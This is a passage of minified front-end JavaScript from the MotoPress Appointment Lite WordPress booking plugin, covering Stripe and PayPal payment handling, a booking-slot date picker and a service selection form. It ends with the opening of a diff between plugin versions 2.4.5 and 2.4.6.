Fe{setupProperties(){this.name="giropay",this.title=u("Giropay","motopress-appointment")}confirmPayment(e,t){return this.api.confirmGiropayPayment(e,{return_url:t},{handleActions:!1})}}class qe extends Fe{setupProperties(){this.name="sofort",this.title=u("SOFORT","motopress-appointment")}confirmPayment(e,t){return this.api.confirmSofortPayment(e,{return_url:t},{handleActions:!1})}createPaymentMethodData(e,t,s){let i=super.createPaymentMethodData(e,t,s);return i.sofort={country:this.settings.country},i}}class Ue extends xe{setupProperties(){super.setupProperties(),this.$gatewayPreloader=null,this.gatewayId="stripe",this.methods=null,this.view=null}constructor(e,t){super(e,t),this.$gatewayPreloader=e.parent().find(".mpa-payment-gateway-title .mpa-preloader")}isValidAcceptTerms(){if(!m().settings().getTermsPageIdForAcceptance())return!0;const e=this.$mountWrapper.closest("form").find(".mpa-accept-terms")[0];return!!e.checkValidity()||(e.reportValidity(),!1)}convertToSmallestUnit(e,t){switch(t||(t=m().settings().getCurrency()),t.toUpperCase()){case"BIF":case"CLP":case"DJF":case"GNF":case"JPY":case"KMF":case"KRW":case"MGA":case"PYG":case"RWF":case"UGX":case"VND":case"VUV":case"XAF":case"XOF":case"XPF":e=Math.floor(e);break;default:e=Math.round(100*e)}return e}getFormattedTotalPrice(){const e=this.cart.getOrder();let t=parseFloat(e.total);return this.cart.paymentDetails.deposit&&(t=parseFloat(e.deposit)),this.convertToSmallestUnit(t,m().settings().getCurrency().toLowerCase())}onClickPaymentRequestButton(e){this.isValidAcceptTerms()?this.methods.card.paymentRequest.update({total:{amount:this.getFormattedTotalPrice(),label:u("Total","motopress-appointment"),pending:!1}}):e.preventDefault()}onChange(e){this.haveErrors=!!e.error,this.haveErrors?this.view.showError(e.error.message):this.view.hideErrors()}onCartChange(e){this.isMounted&&0<this.getFormattedTotalPrice()&&0===Object.keys(this.methods).length&&(this.$mountWrapper.empty(),this.mount(this.$mountWrapper))}mount(e){this.ready().then((()=>{this.methods=[],0<this.getFormattedTotalPrice()&&(this.methods=this.createPaymentMethods()),this.view=new Me(this.methods),this.view.mount(e),this.addListeners()}))}processPayment(e,t){if(!this.isValid())return Promise.reject(new Error("The payment gateway is not valid."));this.$gatewayPreloader.removeClass("mpa-hide");let s=this.view.selectedMethod,i=jQuery.extend({payment_method:s},this.settings,t),a={error_handler:this.view.showError.bind(this.view)};return this.methods[s].processPayment(e,i,a).then((e=>(this.$gatewayPreloader.addClass("mpa-hide"),e)),(e=>{throw this.$gatewayPreloader.addClass("mpa-hide"),e}))}getDefaults(){return jQuery.extend(super.getDefaults(),{hide_postal_code:!0,locale:"auto",payment_methods:[],public_key:"",style:{}})}createPaymentMethods(){let e=[];const t=Stripe(this.settings.public_key,{apiVersion:"2023-10-16"}),s=t.elements({mode:"payment",locale:this.settings.locale,currency:m().settings().getCurrency().toLowerCase(),amount:this.getFormattedTotalPrice(),payment_method_configuration:this.settings.payment_method_configuration});return this.settings.payment_methods.forEach((i=>{switch(i){case"payment":e.payment=new Be(t,s,this.settings),e.payment.provideCart(this.cart);break;case"card":e.card=new Le(t,s,this.settings),e.card.getControl().on("change",this.onChange.bind(this)),e.card.isCanMakePaymentRequest().then((t=>{t&&(e.card.paymentRequest.on("token",(async t=>e.card.processPaymentRequestButton(t))),e.card.paymentRequest.on("cancel",(()=>{e.card.paymentRequestButtonEvent=null})),e.card.paymentRequestButton=e.card.createPaymentRequestButton(),e.card.paymentRequestButton.on("click",this.onClickPaymentRequestButton.bind(this)))}));break;case"sepa_debit":e.sepa_debit=new Oe(t,s,this.settings),e.sepa_debit.getControl().on("change",this.onChange.bind(this));break;case"bancontact":e.bancontact=new Re(t,s,this.settings);break;case"ideal":e.ideal=new Ne(t,s,this.settings);break;case"giropay":e.giropay=new Ve(t,s,this.settings);break;case"sofort":e.sofort=new qe(t,s,this.settings)}})),e}reset(){this.methods&&Object.entries(this.methods).forEach((([e,t])=>{t.reset()})),this.view&&this.view.reset()}}class He extends xe{setupProperties(){super.setupProperties(),this.gatewayId="paypal"}enable(){super.enable(),this.isEnabled&&this.cart.getTotalPrice()>0&&this.$mountWrapper.closest("form").find(".mpa-button-next").hide()}disable(){super.disable(),this.isEnabled||this.$mountWrapper.closest("form").find(".mpa-button-next").show()}mount(e){let t=this;t.$errorWrapper=e.find(".mpa-paypal-error"),t.$gatewayPreloader=e.parent().find(".mpa-payment-gateway-title .mpa-preloader"),paypal.Buttons({onInit(e,s){if(m().settings().getTermsPageIdForAcceptance()){const e=t.$mountWrapper.closest("form").find(".mpa-accept-terms")[0];e.checkValidity()||s.disable(),e.addEventListener("change",(e=>{e.target.checked?s.enable():s.disable()}))}},onClick:function(e,s){if(m().settings().getTermsPageIdForAcceptance()){const e=t.$mountWrapper.closest("form").find(".mpa-accept-terms")[0];e.checkValidity()||e.reportValidity()}0===t.cart.getTotalPrice()&&(t.paypalDetails={},jQuery(".mpa-booking-step-payment .mpa-actions .mpa-button-next").trigger("click"))},createOrder:function(e,s){return t.$errorWrapper.addClass("mpa-hide"),t.$gatewayPreloader.removeClass("mpa-hide"),c("/payments/prepare",{payment_details:t.cart.paymentDetails}).then((e=>(t.$gatewayPreloader.addClass("mpa-hide"),e)))},onApprove:function(e,s){return s.order.capture().then((function(e){t.paypalDetails=e,jQuery(".mpa-booking-step-payment .mpa-actions .mpa-button-next").trigger("click")}))},onCancel:function(e){},onError:function(e){console.log(e),t.$errorWrapper.text(t.settings.paypal_error_message),t.$errorWrapper.removeClass("mpa-hide")}}).render(e.find(".mpa-paypal-container")[0])}processPayment(e,t){return Promise.resolve({paypalDetails:this.paypalDetails})}}class je{static createGateways(e,t){let s={};for(let i of m().settings().getActiveGateways()){let a=e.find(".mpa-"+i+"-payment-gateway .mpa-billing-fields"),r=0!==a.length?je.createGateway(i,a,t):null;null!==r&&(s[i]=r)}return s.free=new Ae({},t),s}static createGateway(e,t,s){switch(e){case"manual":case"test":case"cash":case"bank":return new Ee(t,s);case"paypal":return new He(t,s);case"stripe":return new Ue(t,s);default:return wp.hooks.applyFilters("mpa_create_gateway",null,e,t,s)}}}class We extends pe{setupProperties(){super.setupProperties(),this.lastCartHash="",this.gatewayId="",this.gateways={},this.bookingDetails={},this.$form=this.$element.find(".mpa-checkout-form"),this.$order=this.$element.find(".mpa-order"),this.$billingSection=this.$element.find(".mpa-billing-details"),this.$paymentGateways=this.$billingSection.find(".mpa-payment-gateway"),this.$paymentGatewayButtons=this.$paymentGateways.find('input[name="payment_gateway_id"]'),this.$message=this.$element.find(".mpa-message").first(),this.acceptTerms=!1,this.onlinePayment=!1,this.isDepositDisabled=!1,this.$deposit=this.$element.find(".mpa-deposit-section"),this.$depositSwitcher=this.$element.find('input[name="mpa-deposit-switcher"]'),this.$depositTable=this.$element.find("#mpa-deposit-table"),m().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms=this.$element.find(".mpa-accept-terms")),this.couponSection=null}theId(){return"payment"}propertiesSchema(){return{gatewayId:{type:"string",default:""},isDepositDisabled:{type:"bool",default:!1},acceptTerms:{type:"bool",default:!1}}}setErrorMessage(e){this.$message.html(e),this.$message.toggleClass("mpa-hide",!e.trim().length)}clearErrorMessage(){this.setErrorMessage("")}hideDeposit(){this.$deposit.addClass("mpa-hide"),this.$depositSwitcher.prop("disabled",!0),this.isDepositDisabled=!0}showDeposit(){this.$deposit.removeClass("mpa-hide"),this.$depositSwitcher.prop("disabled",!1),this.setProperty("isDepositDisabled",this.$depositSwitcher.prop("checked"))}toggleDepositSection(){const e=this.cart.getOrder();parseFloat(e.total)-parseFloat(e.deposit)&&this.onlinePayment?this.showDeposit():this.hideDeposit()}setGatewayId(e,t){this.setProperty("gatewayId",e),this.onlinePayment=parseInt(t),this.toggleDepositSection(),this.cart.setPaymentDetails({gateway_id:this.gatewayId,deposit:!this.isDepositDisabled})}addListeners(){super.addListeners(),this.$form.on("submit",(e=>!1)),this.$paymentGatewayButtons.on("change",(e=>{this.setGatewayId(e.target.value,e.target.dataset.isOnlinePayment)})),m().settings().getTermsPageIdForAcceptance()&&this.$acceptTerms.on("input",(e=>this.setProperty("acceptTerms",e.target.checked))),this.$depositSwitcher.length>0&&this.$depositSwitcher.on("input",(e=>{this.$depositTable.toggleClass("mpa-hide",e.target.checked),this.setProperty("isDepositDisabled",e.target.checked),this.cart.setPaymentDetails({deposit:!this.isDepositDisabled})})),this.$element.on("mpa_booking_step_disable",this.disable.bind(this)),this.$element.on("mpa_booking_step_enable",this.enable.bind(this)),this.$element.on("mpa_booking_coupon_applied",(()=>{this.notifyCartChanged(),this.updateOrderDetails(),this.cart.setPaymentDetails({coupon_code:this.cart.hasCoupon()?this.cart.coupon.getCode():""})}))}loadEntities(){this.isLoaded||this.$element.removeClass("mpa-hide"),this.lastCartHash=this.cart.getHash("order"),m().settings().isCouponsEnabled()&&(this.couponSection=new Te(this.$element.find(".mpa-coupon-details"),this.cart)),this.updateOrderDetails();let e=[];return"free"!==this.gatewayId?e.push(this.loadGateways()):this.loadGateways(),e.push(this.loadDrafts()),Promise.all(e).then((()=>(this.initDefaultGateway(),this)))}reload(){return this.clearErrorMessage(),this.cart.hasCoupon()&&this.cart.testCoupon(),this.couponSection&&(this.cart.hasCoupon()?this.couponSection.clearMessage():this.couponSection.reset()),this.updateOrderDetails(),this.cart.didChange(this.lastCartHash,"order")?(this.lastCartHash=this.cart.getHash("order"),this.notifyCartChanged(),this.loadDrafts()):wp.hooks.applyFilters("mpa_booking_reload_drafts",!1)?this.loadDrafts():Promise.resolve(this)}reset(){m().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms.prop("checked",!1),this.resetProperty("acceptTerms")),this.lastCartHash="";let e=m().settings().getDefaultPaymentGateway();this.$paymentGatewayButtons.filter(":checked").prop("checked",!1),e in this.gateways?(this.setProperty("gatewayId",e),this.$paymentGatewayButtons.filter('[value="'+e+'"]').prop("checked",!0)):this.resetProperty("gatewayId");for(let e in this.gateways)this.gateways[e].reset();this.couponSection&&this.couponSection.reset()}notifyCartChanged(){for(let e in this.gateways)this.gateways[e].onCartChange(this.cart)}updateOrderDetails(){if(this.$order.empty(),this.$order.html(be(this.cart.getOrder())),this.$depositTable.length>0){const e=function(e){const t=parseFloat(e.total)-parseFloat(e.deposit);let s="";return t>0&&(s+='<table class="widefat">',s+="<tbody>",s+='<tr class="mpa-deposit-title">',s+='<td class="column-title" colspan="2">',s+=u("Deposit","motopress-appointment"),s+="</td>",s+="</tr>",s+='<tr class="mpa-deposit-now">',s+='<th class="column-title">',s+=u("Paying now","motopress-appointment"),s+="</th>",s+='<th class="column-price">',s+=_e(e.deposit),s+="</th>",s+="</tr>",s+='<tr class="mpa-deposit-left">',s+='<th class="column-title">',s+=u("Left to pay","motopress-appointment"),s+="</th>",s+='<th class="column-price">',s+=_e(t),s+="</th>",s+="</tr>",s+="</tbody>",s+="</table>"),s}(this.cart.getOrder());this.$depositTable.html(e),this.$paymentGatewayButtons.filter(":checked").length>0&&this.toggleDepositSection()}let e=this.$order.find(".mpa-remove-coupon");e.length>0&&e.on("click",this.removeCoupon.bind(this)),this.toggleAvailablePaymentMethods()}removeCoupon(e){e.preventDefault(),e.stopPropagation(),this.cart.removeCoupon(),this.couponSection.clearMessage(),this.cart.setPaymentDetails({coupon_code:""}),this.notifyCartChanged(),this.updateOrderDetails(),this.couponSection.reset()}toggleAvailablePaymentMethods(){const e=0===this.cart.getTotalPrice();if(e)this.setGatewayId("free",!1);else{const e=this.$paymentGatewayButtons.filter(":checked");e.length>0&&this.setGatewayId(e[0].value,e[0].dataset.isOnlinePayment)}this.$billingSection.toggleClass("mpa-hide",e),this.$paymentGatewayButtons.prop("required",!e)}loadGateways(){let e=this.$billingSection.find(".mpa-payment-gateways");this.gateways=je.createGateways(e,this.cart);let t=[];for(let e in this.gateways)t.push(this.gateways[e].load());return t}loadDrafts(){const e={...this.cart.toArray(),payment:!0};return c("/bookings/draft",{...wp.hooks.applyFilters("mpa_booking_draft_data",e),nonce:mpaData.nonces.mpa_create_drafts}).then((e=>{this.bookingDetails={booking_id:e.booking_id,payment_id:e.payment_id};const t={booking_id:e.booking_id,payment_id:e.payment_id};this.cart.setPaymentDetails(t),this.cart.setBookingNonce(e.booking_nonce)}),(e=>{this.setErrorMessage(e.message)})).then((()=>(this.enableGateways(),this)))}enableGateways(){this.$paymentGatewayButtons.prop("disabled",!1)}initDefaultGateway(){let e=this.$paymentGatewayButtons.filter(":checked");e.length>0&&this.gateways[e.val()].enable()}isValidInput(){return this.isValidGatewayId()&&this.isValidGateway()&&this.isValidAcceptTerms()}isValidGatewayId(){return""!==this.gatewayId}isValidGateway(){return!(this.gatewayId in this.gateways)||this.gateways[this.gatewayId].isValid()}isValidAcceptTerms(){return!m().settings().getTermsPageIdForAcceptance()||this.acceptTerms}afterUpdate(e,t,s){s in this.gateways&&this.gateways[s].disable(),t in this.gateways&&this.gateways[t].enable()}react(){super.react(),this.$buttonNext.prop("disabled",!1)}maybeSubmit(){if(this.couponSection&&this.couponSection.disable(),this.gatewayId in this.gateways){let e=this.gateways[this.gatewayId].processPayment(this.cart,this.bookingDetails);return"object"==typeof e&&"function"==typeof e.then&&e.then((e=>(this.cart.setPaymentDetails(e),e)),(e=>{this.setErrorMessage(e.message)})),e}}cancelSubmission(){super.cancelSubmission(),this.couponSection&&this.couponSection.enable()}}class Ge extends pe{setupProperties(){super.setupProperties(),this.cartItem=null,this.lastHash="",this.monthSlots={},this.date="",this.time="",this.datepicker=null,this.$dateWrapper=this.$element.find(".mpa-date-wrapper"),this.$dateInput=this.$element.find(".mpa-date"),this.$timeWrapper=this.$element.find(".mpa-time-wrapper"),this.$times=this.$timeWrapper.find(".mpa-times"),this.lookedAheadMonths=0,this.maxLookAheadMonths=12,this.isSelectedFirstAvailableSlot=!1,this.availabilityService=null}setAvailabilityService(e){this.availabilityService=e}theId(){return"period"}getCartContext(){return"cart item"}propertiesSchema(){return{date:{type:"string",default:""},time:{type:"string",default:""}}}addListeners(){super.addListeners(),this.$dateInput.on("change",(e=>this.setProperty("date",e.target.value)))}loadEntities(){return this.cartItem=this.cart.getActiveItem(),this.lastHash=this.cartItem.getHash("availability"),Promise.resolve(this)}reload(){return this.cartItem.didChange(this.lastHash,"availability")?(this.$element.removeClass("mpa-loaded"),this.resetDate(),this.readyPromise=this.loadEntities(),this.monthSlots={},null!=this.datepicker&&(this.setEnabledDays([]),this.readyPromise.finally((()=>this.resetEnabledDays()))),this.readyPromise):Promise.resolve(this)}reset(){this.cartItem=this.cart.getActiveItem(),this.lastHash="",this.monthSlots={},this.resetDate()}isValidInput(){return""!=this.date&&""!=this.time}resetDate(){this.resetProperty("date")}resetTime(){this.$times.empty(),this.resetProperty("time")}setEnabledDays(e){F(e,!0)?this.datepicker.set("enable",["2000-01-01"]):this.datepicker.set("enable",e)}afterUpdate(e,t,s){"date"==e&&(""==t?this.resetTime():this.resetTimeSlots())}react(){super.react(),this.$timeWrapper.toggleClass("mpa-hide",""==this.date)}showReady(){super.showReady(),null==this.datepicker&&(this.showDatepicker(),this.resetEnabledDays())}showDatepicker(){this.datepicker=function(e,t){let s=t.locale||m().settings().getFlatpickrLocale(),i=flatpickr.l10ns[s]||s;"object"==typeof i&&(i.firstDayOfWeek=m().settings().getFirstDayOfWeek());let a={formatDate:f,inline:!0,locale:i,monthSelectorType:"static",showMonths:1};t=jQuery.extend({},a,t);let r=null;return r=e instanceof jQuery?flatpickr(e[0],t):flatpickr(e,t),r}(this.$dateInput,this.getDatepickerArgs())}getDatepickerArgs(){return{minDate:m().settings().getBusinessDate(),onMonthChange:()=>this.resetEnabledDays()}}maybeSubmit(){let e=this.cartItem;if(e.date=b(this.date),e.time=new Y(this.time),e.date&&e.time&&e.time.setDate(e.date),null===e.employee||null===e.location){let t=this.autoselectIds(),s=t[0],i=t[1];null===e.employee&&e.setEmployee(s,!1),null===e.location&&e.setLocation(i,!1)}let t=this.getCurrentMonthKey();this.cartItem.setBookingVariants(this.monthSlots[t][this.date][this.time]),document.dispatchEvent(new CustomEvent("mpa_add_to_cart",{detail:{cartItem:e,currencyCode:m().settings().getCurrency()}})),document.dispatchEvent(new CustomEvent("mpa_view_cart",{detail:{cart:this.cart,currencyCode:m().settings().getCurrency()}}))}selectFirstDateTimeSlot(){let e=this.datepicker.currentYear,t=this.datepicker.currentMonth,s=this.getMonthKey(e,t);const i=this.monthSlots[s];if(i&&Object.keys(i).length>0){const e=Object.keys(i)[0],t=Object.keys(i[e])[0];this.datepicker.setDate(e,!0);this.$times.children(".mpa-time-period").filter(((e,s)=>s.getAttribute("date-time")===t)).trigger("click"),this.isSelectedFirstAvailableSlot=!0}else{if(!0===this.isSelectedFirstAvailableSlot)return;if(this.lookedAheadMonths>=this.maxLookAheadMonths)return this.datepicker.changeMonth(-this.lookedAheadMonths),void(this.isSelectedFirstAvailableSlot=!0);this.lookedAheadMonths+=1,this.datepicker.changeMonth(1),this.reload()}}autoselectIds(){let e=[0,0],t=this.getCurrentMonthKey();if(this.monthSlots[t]&&this.monthSlots[t][this.date]){let s=this.monthSlots[t][this.date];for(let t in s)if(t===this.time){let i=s[t];e[0]=i[0][0],e[1]=i[0][1];break}}return e}waitForServiceToLoad(){let e=this.availabilityService.getServicePromise();return null!==e?e:Promise.resolve(this.cartItem.getService())}resetEnabledDays(){this.resetDate(),this.setEnabledDays([]),this.$dateWrapper.removeClass("mpa-loaded");let e=this.datepicker.currentYear,t=this.datepicker.currentMonth,s=this.getMonthKey(e,t),i=null;if(this.monthSlots[s])i=Promise.resolve(this.monthSlots[s]);else{i=function(e,t,s,i){return h("/calendar/time",{service_id:e,employee_in:i.employee_in?i.employee_in.join(","):"",location_in:i.location_in?i.location_in.join(","):"",date_from:f(t,"internal"),date_to:f(s,"internal"),exclude_cart:i.exclude_cart?i.exclude_cart:[]}).catch((e=>console.error("Failed to make time slots in mpa_time_slots().",e.message)||{}))}(this.cartItem.service.id,new Date(e,t,1),new Date(e,t+1,1),this.getTimeSlotsQueryArgs())}Promise.all([i,this.waitForServiceToLoad()]).then((e=>{let t=e[0];this.monthSlots[s]=t,this.setEnabledDays(Object.keys(t)),this.$dateWrapper.addClass("mpa-loaded"),this.selectFirstDateTimeSlot()}))}getTimeSlotsQueryArgs(){let e=this.cartItem.getEmployeeId(),t=this.cartItem.getLocationId();return{employee_in:e?[e]:this.cartItem.getAvailableEmployeeIds(),location_in:t?[t]:this.cartItem.getAvailableLocationIds(),exclude_cart:this.cart.toArray("items")}}resetTimeSlots(){this.resetTime();let e={},t=this.getCurrentMonthKey();null!=this.monthSlots[t][this.date]&&(e=this.monthSlots[t][this.date]);let s=0;for(let t in e){let i=new Y(t).toString("public",'<span class="mpa-period-end-time"> - ')+"</span>",a=this.cartItem.getService();if(a.isGroupService()){let s=a.getMinCapacity();for(let i of e[t])s=Math.max(s,i[3]);i+=" ",i+='<span class="mpa-slot-capacity">',i+='<span class="mpa-slot-capacity-label">'+a.getQuantityLabel()+":</span>",i+="&nbsp;",i+='<span class="mpa-slot-capacity-number">'+s+"</span>",i+="</span>"}let r=ye(i,{class:"button button-secondary mpa-time-period","date-time":t});this.$times.append(r),s++}s>0?this.$times.children(".mpa-time-period").on("click",(e=>this.onTime(e,e.currentTarget))):this.$times.text(u("Sorry, but we were unable to allocate time slots for the date you selected.","motopress-appointment"))}getMonthKey(e,t){return t<=8?e+"-0"+(t+1):e+"-"+(t+1)}getCurrentMonthKey(){if(""!==this.date){let e=b(this.date);return this.getMonthKey(e.getFullYear(),e.getMonth())}return"2000-01"}onTime(e,t){this.$times.children(".mpa-time-period-selected").removeClass("mpa-time-period-selected"),t.classList.add("mpa-time-period-selected"),this.setProperty("time",t.getAttribute("date-time"))}}class ze extends pe{setupProperties(){super.setupProperties(),this.availabilityService=null,this.category="",this.serviceId=0,this.employeeId=0,this.locationId=0,this.isHiddenStep=!0,this.$form=this.$element.find(".mpa-service-form"),this.$categories=this.$element.find(".mpa-service-category-wrapper"),this.$services=this.$element.find(".mpa-service-wrapper"),this.$employees=this.$element.find(".mpa-employee-wrapper"),this.$locations=this.$element.find(".mpa-location-wrapper"),this.$selects=this.$element.find(".mpa-input-wrapper select"),this.$categoriesSelect=this.$selects.filter(".mpa-service-category"),this.$servicesSelect=this.$selects.filter(".mpa-service"),this.$employeesSelect=this.$selects.filter(".mpa-employee"),this.$locationsSelect=this.$selects.filter(".mpa-location"),this.unselectedServiceText=this.$servicesSelect.children('[value=""]').text(),this.unselectedOptionText=this.$selects.filter(".mpa-optional-select").first().find("option:first").text()}setAvailabilityService(e){this.availabilityService=e}theId(){return"service-form"}getCartContext(){return"cart item"}propertiesSchema(){return{category:{type:"string",default:""},serviceId:{type:"integer",default:0},employeeId:{type:"integer",default:0},locationId:{type:"integer",default:0}}}addListeners(){super.addListeners(),this.$form.on("submit",this.submitForm.bind(this)),this.$categoriesSelect.on("change",(e=>this.setProperty("category",e.target.value))),this.$servicesSelect.on("change",(e=>this.setProperty("serviceId",e.target.value))),this.$employeesSelect.on("change",(e=>this.setProperty("employeeId",e.target.value))),this.$locationsSelect.on("change",(e=>this.setProperty("locationId",e.target.value)))}isHiddenElementByProp(e){const t=e.attr("data-is-hidden");return void 0!==t&&"false"!==t}initCategoriesSelect(){if(0==this.$categoriesSelect.length)return;this.updateCategorySchema();let e=this.$categoriesSelect.val(),t=this.isHiddenElementByProp(this.$categoriesSelect);if(this.$categoriesSelect.attr("data-default")){const s=this.$categoriesSelect.attr("data-default");this.isValidCategoryBySchema(s)?e=s:t=!1}this.setProperty("category",e),this.renderCategorySelect(),t||(this.isHiddenStep=!1),this.$categories.toggleClass("mpa-hide",t)}initServicesSelect(){if(0==this.$servicesSelect.length)return;this.updateServiceSchema();let e=this.$servicesSelect.val(),t=this.isHiddenElementByProp(this.$servicesSelect);if(this.$servicesSelect.attr("data-default")){const s=j(this.$servicesSelect.attr("data-default"));this.isValidServiceBySchema(s)?e=s:t=!1}this.setProperty("serviceId",e),this.renderServiceSelect(),t||(this.isHiddenStep=!1),this.$services.toggleClass("mpa-hide",t)}initEmployeesSelect(){if(0==this.$employeesSelect.length)return;this.updateEmployeeSchema();let e=this.$employeesSelect.val(),t=this.isHiddenElementByProp(this.$employeesSelect);if(this.$employeesSelect.attr("data-default")){const s=j(this.$employeesSelect.attr("data-default"));this.isValidEmployeeBySchema(s)?e=s:t=!1}this.setProperty("employeeId",e),this.renderEmployeeSelect(),t||(this.isHiddenStep=!1),this.$employees.toggleClass("mpa-hide",t)}initLocationsSelect(){if(0==this.$locationsSelect.length)return;this.updateLocationSchema();let e=this.$locationsSelect.val(),t=this.isHiddenElementByProp(this.$locationsSelect);if(this.$locationsSelect.attr("data-default")){const s=j(this.$locationsSelect.attr("data-default"));this.isValidLocationBySchema(s)?e=s:t=!1}this.setProperty("locationId",e),this.renderLocationSelect(),t||(this.isHiddenStep=!1),this.$locations.toggleClass("mpa-hide",t)}loadEntities(){return this.availabilityService.ready().finally((()=>(this.initServicesSelect(),this.initCategoriesSelect(),this.initEmployeesSelect(),this.initLocationsSelect(),this)))}reset(){let e={category:this.$categoriesSelect,serviceId:this.$servicesSelect,employeeId:this.$employeesSelect,locationId:this.$locationsSelect};this.preventReact=!0;for(let t in e){let s=e[t].attr("data-default");s?this.setProperty(t,s):this.resetProperty(t)}this.preventReact=!1,this.isActive&&this.react()}isValidInput(){return 0!=this.serviceId}updateCategorySchema(){const e=this.availabilityService.getAvailableServiceCategories();this.schema.category.options=Object.keys(e)}updateServiceSchema(){const e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId);this.schema.serviceId.options=Object.keys(e).map(j)}updateEmployeeSchema(){const e=this.availabilityService.getAvailableEmployees(this.serviceId,this.locationId);this.schema.employeeId.options=Object.keys(e).map(j)}updateLocationSchema(){const e=this.availabilityService.getAvailableLocations(this.serviceId,this.employeeId);this.schema.locationId.options=Object.keys(e).map(j)}isValidCategoryBySchema(e){return this.schema.category.options.includes(e)}isValidServiceBySchema(e){return this.schema.serviceId.options.includes(e)}isValidLocationBySchema(e){return this.schema.locationId.options.includes(e)}isValidEmployeeBySchema(e){return this.schema.employeeId.options.includes(e)}afterUpdate(e,t,s){if(this.updateCategorySchema(),this.updateServiceSchema(),this.updateEmployeeSchema(),this.updateLocationSchema(),"category"===e){let e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId);this.serviceId in e||(this.resetProperty("serviceId"),this.resetProperty("employeeId"),this.resetProperty("locationId"))}}react(){super.react(),this.$categoriesSelect.val(this.category||""),this.$servicesSelect.val(this.serviceId||""),this.$employeesSelect.val(this.employeeId),this.$locationsSelect.val(this.locationId),this.$categoriesSelect.toggleClass("mpa-selected",""!=this.category),this.$servicesSelect.toggleClass("mpa-selected",0!=this.serviceId),this.$employeesSelect.toggleClass("mpa-selected",0!=this.employeeId),this.$locationsSelect.toggleClass("mpa-selected",0!=this.locationId),this.renderCategorySelect(),this.renderServiceSelect(),this.renderEmployeeSelect(),this.renderLocationSelect(),this.$buttonNext.prop("disabled",!1)}renderCategorySelect(){this.preventUpdate=!0;const e=Object.values(this.availabilityService.getServiceCategoriesTree()),t=this.availabilityService.categoryIndexes.map(String);let s;const i=parseInt(this.serviceId,10);if(i>0){const t=this.availabilityService.getServiceCategories(i);s=ne(re(e,Object.keys(t)))}else s=null;const a=oe(e,t,s),r=this.category||"";Ce(this.$categoriesSelect,{"":this.unselectedOptionText},a,r),this.preventUpdate=!1}renderServiceSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId),t=this.availabilityService.serviceIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),s=0===this.serviceId?"":String(this.serviceId);Ce(this.$servicesSelect,{"":this.unselectedServiceText},t,s),this.preventUpdate=!1}renderEmployeeSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableEmployees(this.serviceId,this.locationId),t=this.availabilityService.employeeIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),s=0===this.employeeId?"0":String(this.employeeId);Ce(this.$employeesSelect,{0:this.unselectedOptionText},t,s),this.preventUpdate=!1}renderLocationSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableLocations(this.serviceId,this.employeeId),t=this.availabilityService.locationIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),s=0===this.locationId?"0":String(this.locationId);Ce(this.$locationsSelect,{0:this.unselectedOptionText},t,s),this.preventUpdate=!1}show(){this.$servicesSelect.prop("required",!0),super.show()}hide(){super.hide(),this.$servicesSelect.prop("required",!1)}enable(){super.enable(),this.$selects.prop("disabled",!1)}disable(){super.disable(),this.$selects.prop("disabled",!0)}submitForm(e){this.isActive&&!this.isValidInput()||e.preventDefault()}maybeSubmit(){let e=this.cart.getActiveItem();if(null===e)return console.error("Unable to get active cart item in StepServiceForm.maybeSubmit().");if(e.setService(this.availabilityService.getService(this.serviceId,!0,(()=>{document.dispatchEvent(new CustomEvent("mpa_view_item",{detail:{cartItem:e,currencyCode:m().settings().getCurrency()}}))}))),e.setServiceCategories(this.availabilityService.getServiceCategories(this.serviceId)),0!==this.employeeId?e.setEmployee(this.availabilityService.getEmployee(this.employeeId)):e.setAvailableEmployees(this.availabilityService.filterAvailableEmployees(this.serviceId,this.locationId,"entities")),0!==this.locationId)e.setLocation(this.availabilityService.getLocation(this.locationId));else{let t=this.employeeId||e.getAvailableEmployeeIds();e.setAvailableLocations(this.availabilityService.filterAvailableLocations(this.serviceId,t,"entities"))}}}class Qe{constructor(e){this.$element=e,this.$message=this.$element.children(".mpa-message"),this.cart=new L,this.steps=new ce(this.cart),this.load()}setupSteps(){this.steps.addStep(new ze(this.$element.find(".mpa-booking-step-service-form"),this.cart)).addStep(new Ge(this.$element.find(".mpa-booking-step-period"),this.cart)).addStep(new $e(this.$element.find(".mpa-booking-step-cart"),this.cart)).addStep(new De(this.$element.find(".mpa-booking-step-checkout"),this.cart)),m().settings().isPaymentsEnabled()&&this.steps.addStep(new We(this.$element.find(".mpa-booking-step-payment"),this.cart)),this.steps.addStep(new ue(this.$element.find(".mpa-booking-step-booking"),this.cart)),this.steps.mount(this.$element)}load(){this.cart.createItem();let e=new he;Promise.all([e.load(),m().settings().ready()]).finally((()=>{this.setupSteps(),this.steps.getStep("service-form").setAvailabilityService(e),this.steps.getStep("period").setAvailabilityService(e),this.show(),e.isEmpty()?(this.$message.html(u("Sorry, there are no services, employees or locations to book.","motopress-appointment")),this.$message.removeClass("mpa-hide")):this.steps.goToNextStep()}))}show(){this.$element.addClass("mpa-loaded")}}jQuery(window).on("load",(()=>{window.elementorFrontend.isEditMode()&&window.elementorFrontend.elements.$window.on("elementor/frontend/init",(()=>{window.elementorFrontend.hooks.addAction("frontend/element_ready/appointment-form.default",(e=>{const t=e.find(".appointment-form-shortcode");new Qe(t)}))}))}))}(wp.date,mpaData,intlTelInput)}();
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/assets/js/gutenberg-blocks.js /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/assets/js/gutenberg-blocks.js
--- /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/assets/js/gutenberg-blocks.js	2026-06-23 11:36:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/assets/js/gutenberg-blocks.js	2026-06-30 15:16:08.000000000 +0000
@@ -4737,6 +4737,7 @@
 	   * @access protected

 	   */
 	  setupProperties() {
+	    var _mpaData$nonces$mpa_c;
 	    /**

 	     * @since 1.0

 	     * @var {Map}

@@ -4776,7 +4777,7 @@
 
